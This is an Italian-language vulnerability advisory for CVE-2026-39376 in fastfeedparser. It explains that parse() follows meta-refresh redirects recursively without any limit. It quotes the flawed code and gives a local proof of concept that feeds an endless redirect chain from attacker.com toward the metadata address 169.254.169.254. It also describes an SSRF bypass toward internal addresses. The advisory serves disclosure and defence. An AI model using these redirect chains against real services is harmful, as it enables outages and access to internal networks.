
Proof-of-concept per CVE-2026-39376, che dimostra un denial-of-service tramite loop di reindirizzamento infinito attraverso catene di meta-refresh in fastfeedparser, con potenziale concatenamento SSRF.
CVE-2026-39376 (DoS da loop di reindirizzamento infinito tramite catena meta-refresh)
Quando parse() recupera un URL che restituisce una pagina HTML contenente un tag <meta http-equiv="refresh">, richiama ricorsivamente se stessa con l'URL di reindirizzamento — senza limite di profondità, senza deduplicazione degli URL già visitati e senza limite massimo di reindirizzamenti. Un server controllato dall'attaccante che restituisce una catena infinita di risposte HTML meta-refresh causa una ricorsione illimitata, esaurendo lo stack di chiamate di Python e causando il crash del processo. Questa vulnerabilità può anche essere concatenata con il problema SSRF associato per raggiungere target di rete interni dopo aver aggirato il controllo iniziale dell'URL.
parse() intercetta ValueError in caso di errore di parsing XML, estrae un URL meta-refresh dalla risposta HTML tramite _extract_meta_refresh_url() e richiama ricorsivamente se stessa con quell'URL. La chiamata ricorsiva è incondizionata — non esiste una profondità massima di reindirizzamento, nessun insieme di URL già visitati e nessuna protezione contro reindirizzamenti autoreferenziali o ciclici.
fastfeedparser/main.py — parse() (sink ricorsivo):
def parse(source: str | bytes, ...) -> FastFeedParserDict:
is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
if is_url:
content = _fetch_url_content(source)
try:
return _parse_content(content, ...)
except ValueError as e:
...
redirect_url = _extract_meta_refresh_url(content, source)
if redirect_url is None:
raise
return parse(redirect_url, ...) # ← ricorsione incondizionata, nessun limite di profondità
_extract_meta_refresh_url() utilizza urljoin(base_url, match.group(1)) quindi gli URL relativi, relativi al protocollo (//host/path) e assoluti nell'attributo content= vengono tutti seguiti.
Nessun server live richiesto. Il seguente codice applica una monkeypatch a _fetch_url_content per restituire una catena infinita di meta-refresh HTML e conferma la ricorsione illimitata:
import fastfeedparser.main as m
call_count = 0
_orig = m._fetch_url_content
def mock_fetch(url):
global call_count
call_count += 1
if call_count > 10:
raise RuntimeError(f"Stopped at call {call_count}")
next_url = f"http://169.254.169.254/step{call_count}/"
return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()
m._fetch_url_content = mock_fetch
try:
m.parse("http://attacker.com/loop")
except RuntimeError as e:
print(f"CONFIRMED infinite loop: {e}")
finally:
m._fetch_url_content = _orig
print(f"Total fetches before stop: {call_count}")
# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11
Ogni chiamata ricorsiva esegue una richiesta HTTP reale (timeout di 30 s), parsing HTML e allocazione di un frame dello stack Python. Con il limite di ricorsione predefinito di Python di 1000 e un timeout di 30 s per richiesta, una singola richiesta dell'attaccante può tenere occupato un thread del server fino a ~8 ore prima che venga sollevato un RecursionError.
Variante di concatenamento SSRF: La prima risposta può essere un HTML legittimo che reindirizza a un indirizzo interno (http://192.168.1.1/), consentendo al loop di reindirizzamento di fungere anche da bypass SSRF per target che altrimenti sarebbero bloccati dalla validazione degli URL a livello applicativo applicata solo all'URL iniziale.
Questa è una vulnerabilità di denial-of-service con un impatto secondario di concatenamento SSRF. Qualsiasi applicazione che accetta URL di feed forniti dall'utente e chiama fastfeedparser.parse() è interessata — inclusi aggregatori RSS, servizi di anteprima feed e funzionalità "iscriviti tramite URL". Un attaccante senza autenticazione può:
RecursionError dopo ~1000 reindirizzamenti